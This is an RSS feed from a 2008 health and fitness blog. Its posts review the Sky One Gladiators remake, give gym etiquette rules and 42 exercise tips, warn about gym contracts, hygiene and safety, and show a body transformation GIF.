<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Healthscape Health, Medical And Fitness Blog &#187; Exercise &amp; Fitness</title>
	<atom:link href="http://www.healthscape.co.uk/blog/category/exercise-fitness/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.healthscape.co.uk/blog</link>
	<description>Health Medical And Fitness Blog</description>
	<pubDate>Mon, 12 May 2008 08:49:12 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>New Gladiators - First Impressions</title>
		<link>http://www.healthscape.co.uk/blog/2008/05/12/new-gladiators-first-impressions/</link>
		<comments>http://www.healthscape.co.uk/blog/2008/05/12/new-gladiators-first-impressions/#comments</comments>
		<pubDate>Mon, 12 May 2008 08:49:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[Gladiators]]></category>

		<category><![CDATA[TV]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/?p=230</guid>
		<description><![CDATA[Last night saw the first episode of Sky One&#8217;s remake of Gladiators. Being a big fan of the first series I was eagerly looking forward to Sky&#8217;s offerings. So, after the first episode aired last night, what are my first impressions of the new format?


Good to see some of the old games coming back. Powerball [...]]]></description>
			<content:encoded><![CDATA[<p>Last night saw the first episode of Sky One&#8217;s remake of Gladiators. Being a big fan of the first series I was eagerly looking forward to Sky&#8217;s offerings. So, after the first episode aired last night, what are my first impressions of the new format?</p>
<p><a href="http://www.healthscape.co.uk/blog/wp-content/uploads/2008/05/_44569411_gladiators_pa226b.jpg"><img class="aligncenter size-full wp-image-229" title="_44569411_gladiators_pa226b" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2008/05/_44569411_gladiators_pa226b.jpg" alt="" width="466" height="282" /></a></p>
<ul>
<li>Good to see some of the old games coming back. Powerball is an old favourite, although the baskets seemed to be bigger than they used to be allowing contestants to throw the balls in.</li>
<li>Oblivion, a really poor Wolf substitute. No personality at all, apparently the show is supposed to be less camp this time around, obviously nobody has informed Oblivion, he could have been playing the camp lion in The Wizard Of Oz, awful, just awful.</li>
<li>Kirsty Gallagher and Ian Wright were good, though they&#8217;ll need to develop a bit more on-screen chemistry.</li>
<li>Battleaxe, is there a more aptly named Gladiator?</li>
<li>The eliminator was a big disappointment. Too cramped, the cotton roller thingy was completely pointless, the travelator was too easy and jumping through the blocks at the end is a poor substitute for the rope swing though the big paper sheet. Using the pyramid instead of the cargo net is unforgivable.</li>
<li>On the &#8216;cramped&#8217; point The Shepperton studios are obviously far smaller than the NIA which takes away from some of the atmosphere and leads to the feeling of being cramped.</li>
<li>One less event per show than the old series.</li>
</ul>
<p>All in all not a bad start, some of the games need work and the Gladiators need to develop their personas, but it made for an entertaining show.</p>
<p><code>
<object	type="application/x-shockwave-flash"
			data="http://youtube.com/v/SstC76jXUDk"
			width="425"
			height="350">
	<param name="movie" value="http://youtube.com/v/SstC76jXUDk" />
	<param name=wmode" value="transparent" />
</object></code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2008/05/12/new-gladiators-first-impressions/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Gym Etiquette: Mistakes To Avoid</title>
		<link>http://www.healthscape.co.uk/blog/2008/01/14/gym-etiquette-mistakes-to-avoid/</link>
		<comments>http://www.healthscape.co.uk/blog/2008/01/14/gym-etiquette-mistakes-to-avoid/#comments</comments>
		<pubDate>Mon, 14 Jan 2008 13:02:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[etiquette]]></category>

		<category><![CDATA[exercise]]></category>

		<category><![CDATA[gym]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/?p=206</guid>
		<description><![CDATA[The gym represents so many things to different people. For some, it is a safe haven after a taxing day at work. For others, it is a glorified happy hour to pick up dimes (chicks). But for most, the gym is an ally to fight that never ending war: “The Battle of the Bulge.”
Whether you’re [...]]]></description>
			<content:encoded><![CDATA[<p>The gym represents so many things to different people. For some, it is a safe haven after a taxing day at work. For others, it is a glorified happy hour to pick up dimes (chicks). But for most, the gym is an ally to fight that never ending war: “The Battle of the Bulge.”</p>
<p><a href="http://www.healthscape.co.uk/blog/wp-content/uploads/2008/05/534674_l1.jpg"><img class="alignleft size-full wp-image-205" style="margin: 5px; float: left;" title="534674_l1" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2008/05/534674_l1.jpg" alt="" width="188" height="188" /></a>Whether you’re a weekend warrior at Average Joe’s Gym or a meat-headed freak from Globo Gym, there are a few rules of etiquette to follow so you don’t end up being “that guy.”</p>
<p><strong>The Fashion Show</strong></p>
<p>Loose clothing is optimal. CLEAN shirts, sweatpants, athletic shorts, and sneakers will do. Please leave the cutoff jean shorts and pajama pants at home.</p>
<p><strong>Wipe Me Down</strong></p>
<p>Imagine Patrick Ewing at the foul line in triple overtime. Now imagine Patrick Ewing bench pressing and no ball boys there to wipe up his mess. Kinda gross. Most gyms have brown paper towels for a reason, so use them when needed or bring your own towel.</p>
<p><strong>Starbucks</strong></p>
<p>Do a few reps, drink a cup of coffee, read the New York Times, update your fantasy team, do another set, wait 15 minutes, then repeat. Are you (expletive) serious!? Stop hogging the equipment. Hogging will only irritate other gym patrons who actually give a (expletive) about their workout.</p>
<p><strong>Avoid Bad Form</strong></p>
<p>What good are all those swinging and swaying motions during your barbell curls if you’re not intending to audition for “So You Think You Can Dance?” Using hip thrust momentum to get that weight up does not impress the judges. Those out-of-control, spastic gyrations only invite injury.</p>
<p>Gym goers should use strict form during their workouts. Lifting weights require controlled movements to achieve that “orgasmic” pump as Arnold refers to. The “pump” is a great indication that you are performing the exercise correctly. One more rep!</p>
<p><strong>Beware of B.O.</strong></p>
<p>There is nothing worse than having someone with rank body odor jump on the treadmill next to you during your workout. Yes, it is true that women can smell pheromones, but they don’t want to smell your stank ass.</p>
<p><strong>Eye Candy</strong></p>
<p>At times the gym can be one big meat market. There is nothing wrong with noticing that Jessica Biel booty walking by, but don’t make it a staring contest. Next time, use the mirrors at a 45 degree angle to check out that hottie.</p>
<p><strong>10 Guys and a Bench</strong></p>
<p>Workout partners are great to have on so many levels. A partner to push you to your max is the best supplement a guy could have in his diet. But do you really need 10 guys to spot you? One person lifts, then the next, then the next, etc. It’s like a merry-go-round. This falls into the same category of the Starbucks idea. How many more sets you guys got? “We’ll be here for awhile” is not the answer I want to hear.</p>
<p><strong>Nice Rack</strong></p>
<p>All gyms require you to re-rack your weights when you’re done. It would bother me too if I couldn’t find the matching dumbbell that’s on the other side of the gym.</p>
<p><strong>Man in the Mirror</strong></p>
<p>People fail to realize that the mirror is a great workout tool but not so much for narcissistic purposes. Use the mirror to check if your form is up to par. When you see your muscles being worked, veins start popping out, and you know that it’s working. Seeing is believing. Like equipment, the mirror must be shared with all gym goers. Jumping in front of someone during their seated military press will disrupt their focus and make them go “Hulk Smash” on your head.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2008/01/14/gym-etiquette-mistakes-to-avoid/feed/</wfw:commentRss>
		</item>
		<item>
		<title>42 Exercise Tips</title>
		<link>http://www.healthscape.co.uk/blog/2007/12/28/42-exercise-tips/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/12/28/42-exercise-tips/#comments</comments>
		<pubDate>Fri, 28 Dec 2007 12:55:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[exercise]]></category>

		<category><![CDATA[tips]]></category>

		<category><![CDATA[workout]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/?p=202</guid>
		<description><![CDATA[
Start slow. The biggest mistake that people make when starting an exercise plan is starting too fast or too hard. Trust me, I’ve done it many times. I’ve learned to take it easy, start as small as possible, and worry about endurance or intensity later. The key in the beginning is to make it enjoyable [...]]]></description>
			<content:encoded><![CDATA[<ol>
<li><strong>Start slow</strong>. The biggest mistake that people make when starting an exercise plan is starting too fast or too hard. Trust me, I’ve done it many times. I’ve learned to take it easy, start as small as possible, and worry about endurance or intensity later. The key in the beginning is to make it enjoyable and accomplishable. That’s probably not a word, but it should be. And it is now. Zen Habits are ones that are accomplishable.</li>
<li><strong>Increase but gradually</strong>. After getting used to a certain level of exercise, you’ll want to increase it. Don’t just run two miles or walk 20 minutes three times a week for a year. Your body adjusts to the stress you’re giving it, so you need to increase the level once you’ve adjusted. But do it gradually, and only every two weeks or so.</li>
<li><strong>Crank it up</strong>. Once you’ve gotten used to exercise, you’ll want to do some higher intensity ones for better fitness and fat-burning. For example, instead of running slowly and steadily, for a long time, try doing shorter bursts of fast running, with periods of rest in between. You can do this for any exercise. Higher intensity increases the calorie burn, and improves performance. But you can’t do it as long, and you shouldn’t do it every workout. Mix it in with endurance workouts.</li>
<li><strong>Schedule workouts</strong>. Make appointments with yourself to workout, at a specific time and place, just as you would with any other appointment. And make it the most important appointment on your calendar — more important than a doctor’s visit or even the manicurist.<a href="http://zenhabits.net/2007/04/how-to-make-exercise-a-daily-habit-with-a-may-challenge/"><strong></strong></a></li>
<li><a href="http://zenhabits.net/2007/04/how-to-make-exercise-a-daily-habit-with-a-may-challenge/"><strong></strong></a><strong>Make it a habit.</strong> If you can do exercise at the same time, every single day for a month, you are more likely to make it a habit. Consistency makes habits more ingrained. Once it’s a habit (and start easy in the beginning!), then you can step up the intensity a bit.</li>
<li><strong>Forget about weight loss</strong>. Yeah, many of us would like to lose some weight. But if you’re motivated solely by weight loss, exercise will be a tough proposition. The reason is that you might not lose weight right away. Oh, it’ll come, if you can keep it up over time, but in the beginning you might be disappointed (especially if you haven’t changed your eating habits). Just get into the habit of exercise, and worry about the weight later. First things first.</li>
<li><strong>Forget the gym</strong>. The gym can be horribly convenient, but it can also be intimidating for beginners, and confusing if you don’t know how to use the equipment. Sure, you can get a trainer to teach you, but if the cost or the confusion stops you from exercising … well, skip the gym and do it at home or at the park or somewhere less intimidating. You can do pushups and crunches and dumb bell exercises at home very easily, workout to a DVD, or go walking or jogging in your neighborhood. Cheap and simple is my motto.</li>
<li><strong>Reward yourself</strong>. Self-explanatory, but rewards are best if they are frequent in the beginning. Be self-indulgent! Even sweets are good rewards — remember, get into the habit of exercise, and you can worry about weight loss later.</li>
<li><strong>Do a 30-day Challenge</strong>. Challenge yourself, and see if you can rise to the occasion. Do it with a group or your significant other. Put in rewards. Tell everyone you’re doing it. Motivate the hell out of yourself.</li>
<li><strong>Join an online group</strong>. One of the best motivators is having to report successes and failures to a group of people. Check out some online groups (there are groups for every type of exercise), introduce yourself, see which ones you’re comfortable with. Once you’ve gotten established (after a couple of days) see if you can post your results every day — you won’t go wrong once you start doing that.</li>
<li><strong>Post your results on your blog</strong>. There’s nothing more motivating than positive public pressure (short of a gun to your head). Step it up by making a promise to your blog readers that you will commit to this goal for a month, and post your results every day. Even if your mom is your only blog reader, it’ll really help.</li>
<li><strong>Do a journal</strong>. If you don’t post your results on your blog, write it in a journal, either online or on paper. However you set it up, make it a habit to post to your journal or log right away, as soon as you’re done with your log. It will motivate you to see your progress over time, and it’s a good way to see what you’re doing right and what you’re doing wrong.</li>
<li><strong>Make it fun!</strong> Exercise doesn’t have to be a chore. I love doing a morning run, with the sun coming up, the world so quiet, my mind left to its own devices. Enjoy yourself and you will actually look forward to your workouts.</li>
<li><strong>Fuel up</strong>. If your workout is more than 30 minutes, you really should have some energy in you. You shouldn’t work out on an empty stomach — but you also shouldn’t eat right before you work out. Eat a banana or some peanut butter toast or a ClifBar an hour or two before your workout, and you’re good to go.</li>
<li><strong>Hydrate</strong>. Also an hour or two before you workout. Water is best. Use a sports drink during your workout (and after) only if you’re going to go an hour or more. If you’re going to do a tough workout, stay hydrated throughout the day. In fact, go ahead and do this whether you work out or not.</li>
<li><strong>Get a workout buddy</strong>. Find someone at your level, and commit to working out a certain number of times a week together, at a certain time. This will make you more likely to keep that workout appointment, and workouts can be a lot of fun if you spend them chatting with your buddy. Just be sure to actually work out, and not just chat, Chatty McChatterson!</li>
<li><strong>Get good clothes</strong>. Actually, you don’t need anything fancy to get started. But once you do start working out, it’s nice to get yourself some nice workout clothes, with breathable and comfortable fabrics, ones that look good on you. It’s motivating, and pleasurable. Make it so.</li>
<li><strong>Put a cover model on your fridge</strong>. Not literally, of course, as that may be illegal, but find a good magazine photo of a model with the body you want, and post it up somewhere visible. You may never look like that model (heck, that model probably never really looks like that), but it’s motivating. Don’t pick a model that’s too good looking, or you may question your sexuality.</li>
<li><strong>Change it up</strong>. Sure, walking or running every day can be a lot of fun. But getting some swimming or biking or strength workouts or aerobics or kickboxing into the mix can be a lot of fun, and can also help you get into better shape. They work out different muscles, and step up the metabolism. Variety is the spice of life and all that.</li>
<li><strong>Do it early in the morning</strong>. My favorite time to work out is between 5:30 and 6:00 a.m. Plus, I know that if I work out at this time, nothing will get in the way of the workout later in the day. It’s a beautiful time of day, not too hot, and there’s nothing like showering and going to work knowing that I’ve put in a great exercise (and it allows me to feel superior and look down my nose at those lazy bums I work with).</li>
<li><strong>Squeeze it in during lunch</strong>. OK, you’re not a morning person. You’re busy. You don’t have time to work out. Well, suck it up, buster, and sacrifice your lunch hour to the gods of fitness. Bring your workout clothes, do a quickie nooner, and be back at work ready to tackle the afternoon.</li>
<li><strong>First thing after work</strong>. None of those options work for you? Not a problem, my friend. Make it a daily appointment to work out as soon as you get off work. This will also motivate you to finish your work on time so you can get out on time for your workout. It’s great to stop somewhere to do your workout before you even get home, because once you get home you’ll probably want to relax on the couch, fall asleep at the kitchen table, or rush to the computer to read the latest Zen Habits post.</li>
<li><strong>A little and often</strong>. You don’t need to work out long, and you certainly don’t need to be a weekend warrior. Just 20-30 minutes every day. Who doesn’t have 20 minutes on their schedule. You? Well, scratch “Walker Texas Ranger rerun” off the schedule and make room for this instead.</li>
<li><strong>Just lace up</strong>. Yeah, you’re dreading the upcoming workout. But don’t even think about it. Just lace up and head out the door. That’s all. After that, let nature take its course. Just relax and do what comes naturally. Which is exercise.</li>
<li><strong>Join a race</strong>. Signing up for a 5K or a triathlon are my favorite motivators. It really gets me to do my workouts because if I don’t, I will look like a dork by collapsing 5 minutes after the starting gun goes off. But don’t worry about how you look — just go and have fun at these races — everyone else is worrying about themselves too much to notice you.</li>
<li><strong>Get good gear</strong>. As a reward, get yourself some nice little gadgets — a sports mp3 player, a Polar heart rate monitor, a pedometer, a scale, a bike computer, whatever. Something cool that will make you look forward to your workouts.</li>
<li><strong>Forget about the gear</strong>. Having said that, you don’t need any of that to actually work out. Just put on some cheap clothes and get out the door. Don’t let your lack of gear stop you, and for criminy’s sake, don’t go and buy all the gear before you actually start working out.</li>
<li><strong>The 10 percent rule</strong>. Don’t increase your workout time or distance by more than 10 percent a week. This is a very conservative rule, and it can be broken by the best of the best, who know what they’re doing, but for the rest of us, stick with this to prevent burnout or injury.</li>
<li><strong>Rest. It’s important</strong>. This is a commonly overlooked factor. If you don’t give your body some rest, you will burn out and get injured. Rest is just as important as the workouts in improving performance and fitness. As long as you’re doing the workouts too and not just the rest!</li>
<li><strong>Hard, then easy</strong>. If you do a hard workout today, rest or go easy tomorrow. Don’t do two hard workouts in a row. The hard-easy approach can also work within a workout itself — run hard, then run slow, then run hard … you get the idea. This allows you to burn more fat than if you just run medium the whole time.</li>
<li><strong>Listen to your body</strong>. This is extremely important — if you feel like you’re overdoing it, you probably are. Rest and allow your body to recover. And though you can run through some slight soreness or aches, you should stop as soon as you feel sharp pain or pain in the joints. You’ll just make it worse.</li>
<li><strong>Strength is good</strong>. If you’re a walker or runner or cyclist or swimmer or something like that, you should also fit some strength training into your schedule. Nothing too intense, but just some core-strengthening exercises that will help your main sport as well as make you healthier and yes, more attractive.</li>
<li><strong>Set goals</strong>. What are you trying to get out of your exercise? It’s good to know if you’re trying to build muscle or burn fat — because these are two competing goals. There are other goals, of course, but you should be clear what they are. Also, set goals for each week — what do you want to accomplish this week? Write it down, post it up, and see if you can meet them!</li>
<li><strong>Take photos of yourself</strong>. Before and after photos. The best way to see your progress over time. But do it once a month, not every hour, you narcissist!</li>
<li><strong>Workout first, diet later</strong>. If you’re just starting a workout plan, it’s best not to start a diet at the same time. Well, I don’t like diets in the first place, but still — one thing at a time. I’d prefer the workout first, and then worry about the diet after about a month of working out. You didn’t get fat overnight and you’re not getting skinny overnight either!</li>
<li><strong>Star chart</strong>. Yeah, you know what these are. But they’re very motivating. Do a workout, put up a star. Fun!</li>
<li><strong>Get a coach</strong>. You certainly don’t need one, but there’s nothing more motivating than a coach. Almost like a workout buddy, in that you are very likely to make the appointment, but less chatty and more knowledgeable. And if you’re going to learn swimming, a coach is a must. Yes, you can get a coach — there are master’s swimming classes at your local pool. Just sign up — they’re usually not that expensive.</li>
<li><strong>Join the club</strong>. In my area, there is a great running club and a great cycling federation and triathlon federation. All of them sponsor races and Sunday rides and things like that where you can workout with a group and talk to more knowledgeable people. Well worth the small membership fee!</li>
<li><strong>No pain … that’s good</strong>. Forget the old rule of “no pain, no gain”. You don’t need pain to get in shape. Just take it easy, progress gradually, and enjoy yourself.</li>
<li><strong>Warm up</strong>. If you’re going to do any kind of exercise, don’t do it with your muscles cold. Gradually get your heart pumping and blood flowing. You’re less likely to injure yourself, and your workout will be more enjoyable.</li>
<li><strong>On stretching</strong>. Sure, flexibility is important. But stretching out cold is a good way to get injured. If you’re going to stretch out before a workout, be sure to do so only after your warmup. Also, do not bounce. That’s another good way to tear your muscles. Do slow stretches and hold them without bouncing. Best of all: stretch after a workout, when your muscles are nice and loose.</li>
<li><strong>Go for the long haul</strong>. Most of all, don’t think that you will become fit and healthy and sexy in one month. Think of exercise as a life-long habit, and your goals will come to you eventually. You’ll get there, my friend!</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/12/28/42-exercise-tips/feed/</wfw:commentRss>
		</item>
		<item>
		<title>10 Secrets Your Gym Don’t Want You To Know</title>
		<link>http://www.healthscape.co.uk/blog/2007/10/22/10-secrets-your-gym-don%e2%80%99t-want-you-to-know/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/10/22/10-secrets-your-gym-don%e2%80%99t-want-you-to-know/#comments</comments>
		<pubDate>Mon, 22 Oct 2007 09:02:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[exercise]]></category>

		<category><![CDATA[gym]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/2007/10/22/10-secrets-your-gym-don%e2%80%99t-want-you-to-know/</guid>
		<description><![CDATA[1. “If you’re still here in April, it’ll be a miracle.” The fitness craze is going gangbusters, with gym attendance up 23% since 2001, to 41.3 million, according to the International Health, Racquet and Sportsclub Association (IHRSA). And most new recruits sign up in January — the busiest month for fitness clubs. That’s when well-intentioned [...]]]></description>
			<content:encoded><![CDATA[<p>1. “If you’re still here in April, it’ll be a miracle.” The fitness craze is going gangbusters, with gym attendance up 23% since 2001, to 41.3 million, according to the International Health, Racquet and Sportsclub Association (IHRSA). And most new recruits sign up in January — the busiest month for fitness clubs. That’s when well-intentioned souls trying to stick to their New Year’s resolutions flood their local gyms, often resulting in long lines at the treadmill, overtaxed gym staff and towel shortages in the locker room. But it won’t be long before the throngs thin; most resolution makers trip up in the first 90 days, says Alan Marlatt, director of the Addictive Behaviors Research Center at the University of Washington. And indeed, that’s what clubs expect. “They bet on it,” says Meg Jordan, editor of American Fitness, adding that most gyms count on a 20 to 30% dropout rate.<br />
In the meantime, there are ways to avoid January overcrowding and make it past the 90-day hump. When selecting a new gym, visit the facility during the time of day you’re most likely to attend. If it’s crowded, check to see whether waiting lists and time limits on machines are enforced or whether it’s a free-for-all.<img title="gymgirl-300.jpg" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2007/10/gymgirl-300.jpg" alt="gymgirl-300.jpg" hspace="5" vspace="5" align="left" />2. “Don’t touch anything — this place is crawling with bacteria.” About 80% of all infectious disease is transmitted by both direct and indirect contact, says Philip Tierno, director of clinical microbiology at New York University Medical Center and the author of “The Secret Life of Germs.” That makes the gym, with its sweaty bodies in close proximity, a highly conducive environment for catching everything from athlete’s foot to the flu.<br />
In swabs of medicine balls, for example, Tierno found samples of community-acquired MRSA — a strain of staph resistant to some antibiotics. “You take your chances,” Tierno says. “Any time you touch a medicine ball or machine, you have to know that your hands are contaminated and should be washed.”</p>
<p>What about those spray bottles some gyms provide for wiping down equipment? They may help, Tierno says, but he recommends additional measures, such as wearing long sleeves and pants while working out. Also, bring your own towels, since there’s no guarantee that your gym’s linens have been bleached or rinsed in clean water. While in the locker room, make sure you wear flip-flops, and avoid sitting nude on any exposed surface.</p>
<p>3. “We’re not equipped to handle health emergencies.” Almost one-third of sudden cardiac arrests outside of homes and hospitals occur in fitness clubs or sports facilities, says Mary Fran Hazinski, a registered nurse and senior science editor at the American Heart Association. Yet most health clubs aren’t fully prepared for such crises. That was the case at a 24 Hour Fitness in California, where Nick Pombra, 43, collapsed after running on a treadmill in July 2004. Gym staff tried CPR, but by the time paramedics arrived, it was too late, says Mike Danko, a lawyer for Pombra’s family. 24 Hour declined to comment.</p>
<p>While effective CPR can buy time, it won’t reset a heart after cardiac arrest. That’s where automated external defibrillators, or AEDs, come in. Chances for revival drop as much as 10% each minute that passes without proper CPR and defibrillation. But even in states like New York that require gyms to have CPR equipment, as well as AEDs and trained personnel in clubs with over 500 members, two-thirds surveyed by the attorney general’s office in 2005 weren’t in compliance. Find out if your club has the right equipment and, equally important, staff trained to use it.</p>
<p>4. “Our trainers don’t know what they’re doing.” If you work out at a gym, chances are an on-site personal trainer will try to sell you his or her expertise. And with their Colgate smiles and buff bodies, they must be able to teach you a thing or two about getting into shape, right? Not necessarily. Trainers need no standard certification, and the credentials some flash require only a quick online course or a fee, says Neal Pire, a fitness-industry consultant and former trainer.</p>
<p>Jonathan Jacobson, a marketing exec with a degenerative disk disease in his lower back, sought out a trainer to design a routine appropriate for his condition. But after following a boxing regimen the trainer recommended, he was left in pain. When his doctor told Jacobson, 35, to stop, the trainer suggested Pilates — which only further aggravated the problem, ending in a slew of medical procedures. “He had certificates and tons of plaques on the wall,” Jacobson says. “It’s taken about a year to not be in pain every day.”</p>
<p>Seek trainers with credentials from respected institutions like the American College of Sports Medicine or the National Strength Conditioning Association — preferably with some training in sports medicine or phys ed.</p>
<p>5. “We won’t let you quit.” If you think giving up the Ben &amp; Jerry’s is tough, try quitting your gym. Trouble canceling membership is one of the top complaints against fitness clubs logged with the Better Business Bureau and states’ attorneys general offices. Before Chris Hinkle and his wife moved to North Carolina, they met with the manager at their Gold’s Gym in Austin to cancel their prepaid membership. They were told a refund check would be in the mail. That was March. After months of unreturned calls, Hinkle contacted the BBB, which also got no answer from Gold’s and gave it an unsatisfactory rating. “I was an ecstatic booster of Gold’s,” Hinkle says. “Now I tell people to never go there.” A Gold’s spokesperson says the club sends a refund in such cases once it receives proof of a move — documentation Hinkle says the Austin manager didn’t ask for in March.</p>
<p>For those paying monthly, calls from collectors or a battered credit score may be the first clue membership was never terminated, says Todd Mark of the Consumer Credit Counseling Service of Greater Atlanta. Follow contract terms to the letter, providing proof of a move or a doctor’s note. Create a paper trail, and alert credit agencies about the dispute.</p>
<p>6. “Be sure to read the fine print on our contract.” The devil is in the details, and it’s never truer than when it comes to fitness club contracts. Fast-talking reps may offer you a deal you can’t refuse, but often that’s exactly what you should do. “Sometimes you end up with salespeople trying to make quotas that engage in pressure,” says Helen Durkin, head of public policy at IHRSA. Occasionally, this can lead to a glossing over of details. One Bally offer that has elicited complaints on Consumer Affairs’ Web site is a 30-day trial membership with a catch: You must visit the club a minimum of 12 times during the first month to cancel without penalty; otherwise, you’re locked into a multiyear membership. Some consumers complain they did attend the required number of times but that when they decided to cancel, the club had no record of the visits. A Bally spokesperson says the company’s policy is to check all members entering the club and record their usage.</p>
<p>Your best defense: Read every word of the contract. Never rely on a suave salesperson’s “word” no matter what authority they profess, and don’t let anyone pressure you into signing before you’re ready — take the contract home and read it overnight.</p>
<p>7. “Our equipment can be downright dangerous.” Unlike many businesses, fitness clubs do not need a license to operate. Furthermore, although the American College of Sports Medicine and other groups publish guidelines for the industry, they don’t have the teeth of the law. “In most cases [the gym] is not a safe place to go because there is little standardization,” says Marc Rabinoff, forensic expert and professor of human performance and sport at the Metropolitan State College of Denver.</p>
<p>Take equipment maintenance, for example. Although manufacturers must include instructions with exercise machines, nothing forces gyms to follow them, Rabinoff says. Injuries can result from poorly or improperly maintained equipment, says Cedric Bryant, chief science officer for the American Council on Exercise. Harold Leon Bostick knows that all too well. Due to a design defect in a machine he was using, a stack of weights came crashing down while the law student was doing squats at a California gym in 2001, severing his spinal cord.</p>
<p>Bryant recommends asking to see maintenance and cleaning logs– hallmarks of a good club. Gold’s Gym, for one, says it follows manufacturers’ maintenance guidance to the letter and replaces equipment every five to seven years. And avoid machines that stick or don’t move smoothly.</p>
<p>8. “Everything is negotiable.” Balloons and freebies often signal promotion time at your local gym — most frequently before the holidays and at the start of summer.</p>
<p>Already a member? Jot down these specials, and ask for one of them when it comes time to renew your membership. Some gyms will honor the rate months after the posters come down, says Mark, of the Consumer Credit Counseling Service of Greater Atlanta. If you’re looking into a new membership, remember that the cheapest deals will likely be those that lock you in for a long time. For example, Bally’s flexible plans, including month-to-month memberships, typically cost $5 to $10 a month more than its popular long-term “Value Plan.” As for trainers, you might be able to get a break if you decide to share sessions with a friend or two, says Carol Espel, Equinox’s national group fitness director.</p>
<p>9. “If your wallet gets lifted, it’s not our problem.” In 2003, the FBI put out a bulletin about a group of burglars stealing credit cards from lockers of health club members on the East Coast. Since then, there’s been no similar FBI bulletin — but that doesn’t mean your valuables are safe at the gym. You never know who’s lurking around the locker room while you’re sweating away on the elliptical machine. “For so many people, the health club is like a community,” says IHRSA spokesperson Brooke Correia. “You feel very comfortable, but there are situations where potential thieves will break into the club and take advantage of that safe atmosphere.”</p>
<p>Ben Osbun tried to end 2004 on a healthy note by working out at his local YMCA on New Year’s Eve. But the day quickly soured. When the Chicago real estate agent returned to his locker, he found that the padlock had been cut and his cell phone, keys and wallet were all missing. Only his jacket was left behind; the thieves showed him some mercy since it was December, Osbun says. He adds that the gym staff wasn’t particularly surprised by the incident, since petty theft is common in health clubs. Osbun learned his lesson; he now brings very little with him to the gym.</p>
<p>If you do intend to store items in a locker while you’re working out, IHRSA recommends using a padlock with a key, which is harder to pick than a combination lock. Good to know — not that it would have helped Osbun any.</p>
<p>10. “Go ahead and sue; you’ll never win.” Fitness clubs sure do know how to watch their backs, legally speaking. It’s nearly impossible to visit a fitness center without signing a waiver that absolves the club of liability — involving everything from malfunctioning machines that cause injury to improper instruction by staff members.</p>
<p>In Michael Stokes’ case, it was a defect in the basketball court’s floor at his Kent, Wash., gym that caused ruptured tendons in his knee and shoulder. While a judge found that Stokes may not have known what he was signing, a subsequent Court of Appeals ruling upheld the waiver and dismissed the case, says Mark Davis, a lawyer at Curran Mendoza who represented Stokes.</p>
<p>And that’s how it usually goes, since the majority of states’ courts tend to side with the gyms on the matter of liability waivers, while only a handful, including those in New York and Virginia, are likely to rule against them. Occasionally, a judge will rule on behalf of plaintiffs in instances of gross negligence, but that bar is set pretty high in some states, such as Washington, Davis says.</p>
<p>Bottom line: Understand that you’re taking your health in your own hands when you go to the gym, so you need to watch your own back — literally.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.healthscape.co.uk/blog/2007/10/22/10-secrets-your-gym-don%e2%80%99t-want-you-to-know/feed/</wfw:commentRss>
		</item>
		<item>
		<title>This is what 4 years of exercise can do for you!</title>
		<link>http://www.healthscape.co.uk/blog/2007/10/03/this-is-what-4-years-of-exercise-can-do-for-you/</link>
		<comments>http://www.healthscape.co.uk/blog/2007/10/03/this-is-what-4-years-of-exercise-can-do-for-you/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 08:48:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Exercise &amp; Fitness]]></category>

		<category><![CDATA[exercise]]></category>

		<category><![CDATA[gym]]></category>

		<category><![CDATA[muscle]]></category>

		<guid isPermaLink="false">http://www.healthscape.co.uk/blog/2007/10/03/this-is-what-4-years-of-exercise-can-do-for-you/</guid>
		<description><![CDATA[Taken from the impressive progress pictures at John Stone Fitness I decided to put all of these together to create .gif file that really shows of the transition that you can make over a long perioid of exercise. Please be patient, this can take a few seconds to load properly.
Personally I think he looks great [...]]]></description>
			<content:encoded><![CDATA[<p><img title="body-building2.gif" src="http://www.healthscape.co.uk/blog/wp-content/uploads/2007/10/body-building2.gif" alt="body-building2.gif" hspace="5" vspace="5" align="left" />Taken from the impressive progress pictures at <a href="http://www.johnstonefitness.com/" target="_blank">John Stone Fitness</a> I decided to put all of these together to create .gif file that really shows of the transition that you can make over a long perioid of exercise. Please be patient, this can take a few seconds to load properly.</p>
<p>Personally I think he looks great within just a few months, though it seems his aim is to cut followed by rapid muscle gain.</p>
<p>He managed to go from 215 pounds and 30% body fat, down to his current size of 163 pounds and an amazing 6% body fat! More progress pictures can be <a href="http://www.johnstonefitness.com/php/pictures.php" target="_blank">seen here</a>.</p>
